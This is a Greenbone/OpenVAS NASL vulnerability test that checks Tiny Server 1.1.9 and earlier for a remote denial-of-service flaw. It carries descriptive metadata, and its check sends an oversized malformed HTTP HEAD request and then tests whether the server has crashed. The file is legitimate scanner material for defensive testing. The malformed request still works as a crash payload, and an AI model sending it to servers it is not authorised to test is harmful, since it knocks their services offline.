Tiny Server HTTP HEAD Request Remote Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902820");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2012-03-22 12:12:12 +0530 (Thu, 22 Mar 2012)");
  script_name("Tiny Server HTTP HEAD Request Remote Denial of Service Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52635");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18629");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/111024/tinyserver119-dos.txt");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("TinyServer/banner");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to cause the
  application to crash, creating a denial-of-service condition.");

  script_tag(name:"affected", value:"Tiny Server versions 1.1.9 and prior.");

  script_tag(name:"insight", value:"The flaw is due to an error when processing HTTP HEAD requests
  and can be exploited to cause a denial of service via a specially crafted packet.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"summary", value:"Tiny Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if(!banner || "Server: TinyServer" >!< banner)
  exit(0);

if(http_is_dead(port:port))
  exit(0);

req = string("HEAD ", crap(100), "HTTP/1.0\r\n");
http_send_recv(port:port, data:req);
sleep(2);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);